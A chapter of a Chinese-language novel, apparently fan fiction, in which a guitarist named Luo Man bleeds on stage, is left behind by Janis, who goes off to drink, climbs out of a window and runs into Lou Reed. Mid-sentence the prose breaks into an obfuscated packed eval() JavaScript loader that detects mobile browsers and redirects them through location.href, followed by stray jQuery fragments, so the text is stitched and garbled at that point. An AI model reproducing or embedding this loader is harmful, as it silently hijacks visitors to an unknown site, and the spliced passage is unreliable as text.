15. Chapter 15

    深红色的斑斑点点随着指尖在琴板上面的反复移动渗入木板,要比指纹更加珍贵一些留在我的皮肤上面,在吉他弦之间,犹如雨水一样毫不吝啬的流下来,可却不是恐怖电影里面那种让心脏瞬间骤停的血腥,而是拥有把我的肉身碾碎,揉进这块被灯光烫得发焦的木板里的解脱。


    我从来都没有想过,或者说,我不敢这样去想象事情的发展。


    这感觉就像是我在连自己都不曾注意到的某刻开始,硬生生的剖开胸膛,把正在跳动着,将血液送到身体每一个角落的心脏露出,献祭一样把骨头磨成粉,把灵魂塞进音符,再把那个在胸腔里乱撞、想要撕开皮囊的我,狠狠砸向这块炙热的地板。


    可是我就是站在了舞台的一角,在血液顺着因为用力而凸显出的红为底色的游离线边缘流淌下来时,靠着自己的双眼看到了围绕在此时的一切。


    不,它们从来都不值得被我停留下来进行赞美。


    紧紧贴合着我皮肤上面的狂热如同是贴在煮锅边缘沸腾的沥青,咕嘟嘟地随着火光冒着泡,吞没或造就刺耳的尖叫与嘶吼。


    那是爱吗?是关怀,是在乎吗?


    我的大脑一片空白,徒留手指仍然无法停歇的弹奏着,纵使伤口处已经随着吉他弦拨弄频率变得鲜血淋漓,但我却丝毫没在乎这种带着麻木感的疼痛,只想着,我就像是个收到使命的信徒,必须要为这场景写出一篇篇诗歌,要在沾着墨水的纸张们还没干涸之前祈祷,祈祷这会名垂青史,祈祷哪怕时间已流逝,但荣誉如此时铭记。


    可我被允许赋予这样大的能力吗?


    骤然出现,却似乎永远无法让我找到任何答案的未解之谜漂浮着四分五裂,我不愿意去真切用自己的身体感受,因为,在现实世界的最里面,充满着梦幻滤镜的只是一团从喉咙里面硬挤出来的黑气,是无数只从地底伸出来,想要抓我的脚踝,抓我滴血的手指,抓还没来得及藏好的那点暂停呆滞的欲望。


    他们的脸扭曲着,像是熟透的桃子,甜得快发腻,却又透着一股腐烂前的腥味,汁水要随着高举在人群里晃的手臂,伴随破碎的音节,毫无规律的,只有一种病态的执着存在于其中的曲调们,一起向着我的位置喷溅而出。


    没有任何尊重,没有着欣赏,所有应该出现的惊慌被吞咽,我在风将阻挡着自己视线的发丝吹开之后,看到汗水顺着詹尼斯的鬓角淌下来的轨迹,看到她时不时掀开眼皮数次扫向我的位置,仿佛如同安抚一样扯起嘴角,高声在演唱走向尾声的时候喊起我的名字,又在疯狂结束后,在萨姆找到的混乱俱乐部内的小小房间里,有点在乎的拉住我的手。


    “老实说,你应该去看医生,而不是跟着我们来到这……”


    詹尼斯的声音因为展现出让她自己不太熟悉的模样而变得比平时更加低沉,她坐在我身边,想要用自己的肩膀给予我依靠,主动开始用自己的手指摸过我的手臂内侧,一边观察着我的神情,一边拒绝所有想要从我口中说出的话,轻声细语的呢喃道:“你不应该这样做的……”


    “不应该哪样?不应该和詹尼斯你一起站在舞台上,像是我们能够懂得彼此一样来进行表演吗?”


    我明知故问着用额头找着她露在布料外的皮肤,相触的感受出现,近在咫尺的白色布料上,被模糊的淡红色留下痕迹,但我和她都并不介怀留下的伤口,兴致勃勃的想开口诉说。


    “你知道我的意思,我当然想要你和我一起表演。”詹尼斯迎着我几近仰视她如神明的目光挑了挑眉,松懈了自己的身体,她从口袋里掏出烟盒,却也只有烟盒出现,叹息一声后,感慨着丢失了火柴的烟卷无法被顺利点燃,可心中的瘾症却像是被蚂蚁啃食的糖浆般令她无法彻底抑制。


    填不满的需求很快令詹尼斯坐立难安起来,焦躁敲击着烟盒的手指如同摇滚乐队另一种鼓点进行,看起来,她确实应该找些在她眼中被称作是“放松行动”的乐子了,可是,她还仍然留在这里。


    她为什么要留下来?


    我好奇的看着她,几乎是带着审视,一遍遍开始用目光在她的脸上反复进行舔舐寻找,担心着能够从其中看到任何类似利用心思,却更害怕发现那上面其实从头到尾,其实什么都没有。


    出现在瞳孔内的女人犹如溺水者奋力挣扎出水面,詹尼斯轻轻抬起了她的头,头发向两边散去时,出现在一层薄薄皮肤下面的脖颈青筋显露,好像只要轻轻涂抹着,就能把她不知道明天会出现在哪里的生命彻底抹去,抹去,以她永远都想与危险共舞的大胆一起抹去。


    我看不清她的表情,或者说,我有意不去注视她的模样,想要令自己渴望倾诉的心事就掐死在了身体内部,想令那些质问一样的“你难道也想离开我?”之类的疑问都如同石块一样沉重的想法,随着吞咽的动作全部被压下去。


    这是一种想要展示自我弱小的,恐惧面对离开,并且想要在真正意义上面,去承认自己正在试着把詹尼斯当作是生命中缺少的母爱来进行依赖的欲望,几乎不需要尝试便能硬生生的将我扯到和她一样意识不清的时刻。


    可是,她真的是合适的,能够令我全部对待安琪,无处安放情感都合理转移的对象吗?


    我懒得再去思考这个注定无法被想清楚的问题,在詹尼斯的注视里站了起来,嘴角扯出一个和记忆里安琪如出一辙的笑,死死扯住脸颊上面的肌肉,用一种轻快的,已然浸满糖水的声音问着,“为什么不去继续狂欢呢?詹尼斯,派对里面有着更多你想要的东西,不是吗?”


    “不,我应该陪着你。”詹尼斯眨了眨那双隐藏在凌乱发丝下的眼睛,她把这句话说得很快,像是正在自欺欺人,有着无限责任一样,我看到她脸上出现的情绪是连她自己都无法相信的诧异。


    她搞不清自己,我也一样。


    我试着重新回到她的身边,想要拉住她的手,希望她能够在这里继续陪我一会,可是嘴唇却总是想先一步背叛我,依旧喋喋不休的继续表现出那副因为安琪数次离去,才会领略到的巨大奉献来对她说:“去吧,詹尼斯,去找你真正想要的快乐。”


    “……我想要的?”有那么几秒钟,我几乎要以为詹尼斯并非一门心思都扑在与瘾症做斗争的世界里面,而是真的听出了我话中存在的另一层含义并非关怀而是疏离。


    但她无暇顾及这些事了。


    反复动摇着,她的内心犹豫着,好像是只面对着敞开着,却想要尽量压抑住自己的心,表示衷心的夜莺一样抓着最后一点闪亮的饵食。


    可是,我们谁都知道,她最终还是会选择离开的。


    酒精早已浸透了她的大脑,我知道詹尼斯一定会为了那些快感而屈服,她的灵魂早已在某个未知的时刻被那些瘾症与欲望吞噬殆尽。


    我知道这些。


    这并不应该被责怪起悲观主义,而是我不得不这样想,因为似乎世界上每一个曾经短暂接触过我的人们,出现在我生命里的唯一目的,就是要在不久后的将来里,距离我越来越远。


    这是一场不怎么样的离别。


    风把我们吹向不同的方向,带着些许醉意和不情愿,我看到,詹尼斯缓慢的站了起来,却又好似迫不及待地朝着门口挪动。很快,她的身影就出现在了站在光影的交界位置,回过头的时候,我听到她用飘忽不定的声音开口嘱咐:“洛蔓,处理好伤口就快点出来吧,我想要介绍我的朋友给你认识…然后我们喝点什么……一起度过一个愉快的晚上。”


    说到这里时,詹尼斯的嘴角扭曲成了一个混杂着鄙夷与同情的弧度,劝诫道:“别一个人独处太久,你难道不知道吗,孤独感会让你发疯的。”


    “是这样吗……?”我顺着詹尼斯的眼睛看向四周,恍惚之间,竟然真的就快要去选择相信她说的玩笑了。


    她真的知道自己在说些什么吗?


    找不到焦点的双眼只与我对视了一瞬间而已,便咻的一下离开,悄无声息地消失在面前,只在地板上留下几滴暧昧不清的湿润痕迹,不知道是酒精,汗水,还是那些每个人必然会流出,但却羞于承认的泪水。


    从她开启又合上的门缝中,只有一线光亮穿透过来,在我的脸上投下一片泛着金边的阴影,让我成为了处于中间地带的尴尬存在,不够黑,无法融入进夜色,却也不够明亮,无法站在阳光底下。


    我知道这样的处境,甚至知道得太过清晰,太近乎疼痛,以至于那些徘徊在心底最深处的刻痕都因为詹尼斯的离去而重新浮现在皮肤表面,像是某种可见的,可触碰的疮疤,永远无法愈合,永远被迫展现,永远被迫回忆。


    我不能在这里待下去了。


    我要离开。


    我要离开这个囚禁着我的斗室,离开这个充满了不属于我的快乐与狂欢的牢笼,离开这个哪怕只第一次选择将我抛在身后,但我却尤为敏感的认为,自己有必要在更令世界颤抖


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258524|166484||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    的离别到来前,头也不回的离开她的身边。


    这个念头并不是缓慢形成的,虽然在此刻像是突如其来的闪电,可是当我选择保持沉默回顾时,却才发现,原来,它早就在我没意识到之前就已经击中了我。


    我不觉着惊诧,也没有任何思考,任何犹豫,像是我注定会这样做一般,快步走到了那扇微敞开着的,好似一直都在等待着我的窗。


    因为靠近而更为清晰印在视线的,是潮湿而略微变形的木质窗框,我本应该像是一个想要抹平它全部疤痕的人那样对它无端产生怜爱,可是,这种要有着巨大能力才能散发出来的情感,早先一步的抛弃了我,转而投射在无生命体征的窗上,让它张开双唇来告诉我:“不会有人在乎,也当然不会有人能发现。詹尼斯不会回来,她已经选择了她的聚会,她的酒精,那些能够比你能更好地填满她空洞的东西。”


    这是残忍的一句话,但是却残忍的恰到好处,至少能够令我的手掌下定决心攀上窗沿旁。


    木框因为我的动作而发出短暂哀鸣,感叹我是这样愚蠢的敏感一般想要拦下我,可是,它却又在逃离的面前显得这样无力,直到最后发出的也不过只是轻微的断裂声,再报复一样令我的裙摆被撕裂,令我的身体失去了支撑力度。


    失重感仅仅持续了瞬间,我感受到自己的身体正因为惯性向前倾倒,闭着眼等待堆在地面上的碎玻璃印在脸颊,但却始终没有迎来坠落,而是直直的用自己的鼻尖撞上了什么东西。


    软骨与显然突出身体之间的骨节碰撞带来的疼痛让我一时晕眩,被晒干的烟草气味先于视觉抵达我的感知,堵在逃亡的必经之路,但是却毫无悔意与抱歉的男人躲在阴影中。我下意识去看向他,他并不惧怕被我在下一秒进行指控,不知道有意还是无心一般移动了一下手指,故意将烟头举高,紧接着我便从他手指尖的橙红色微光之间,看到了他被照亮的小部分面孔。


    是卢奥·瑞德。


    这是我第二次在心里感叹类似:“他究竟为什么会在这个时候出现在这里?”的疑问了,可我却无法在这一刻问出任何有着必要出现的问题,因为他的存在就像是一个精心设计的巧合,过于完美以至于让人怀疑其真实性。


    不知道我们的对视在沉默中究竟蔓延了几秒,卢奥终于开口了,他的声音处于平静其中,像是从遥远的地方飘来。


    “你没有出现。”这不是疑问,不是责备,只是一个简单的陈述,却仍然带着股男性极端主义的自大。


    他凭什么认为自己把钥匙给我,我就必须如同他想要的那样站在他的门外?


    对卢奥产生的偏见令我不再想要继续看到他,轻哼一声,我故意避开他的目光,身体灵巧的侧过去,试图从他的身旁穿过,可他又一次该死的,伸出了他的手,不偏不倚的,让它出现在了我的手臂上面,无声质问原因,直到我不顾一切的告诉他:“出现在你面前的话,我才是真正的疯了。”


    “你现在看起来也没有多清醒,”卢奥没有因我的刻薄而动怒,吸了口烟,烟雾从他的嘴边缓缓飘散起来,在空气中形成出奇异的图案,像是某种未完成的句子,找到很大的乐趣一样扯起嘴角,故作可惜的开口告诉我:“如果你不想被乔普林在以后的演出前咒骂几句的话,最好回头。”


    “我为什么要回头?”我几乎是咬着牙说出这句话,“是她先离开我的。”


    “是她先离开你的,所以…你就从窗户里面出现了?”卢奥好像听到了世界上最荒谬的紧张一样干笑起来,笑的令肋骨之间都在打结似的,却又在这种带有嘲笑意味的表现中间,重新开口问道:“你想现在和我回酒店吗?”


    “为什么要和你回去?”卢奥直白的询问在我的眼中,几乎要比出现在道貌岸然派对上面的男人们更加可恶,偏偏他面上的表情还是丝毫不掩饰态度的,两只眼睛忽闪着眨动起来,就在我按部就班的反问道:“你是不是对待所有人都一样?”的同时,卢奥像是我想象的那样,有点儿可惜的将扯起的嘴角放了下去。


    望向我的眼睛里没有期待,当然也没有失望,没有承诺,轻飘飘如同无法被抓住也不能抓住的雪花,只存在着就应该被我唾弃几百万次,可是,这恰恰是我在此刻最需要的。


    含糊不清的话语却淹没在汽车的行驶过程里,引擎的震动中。出于某些原因,我还是踏上了这个连驾照都被吊销的,由疯狂的男人开始的未知旅程。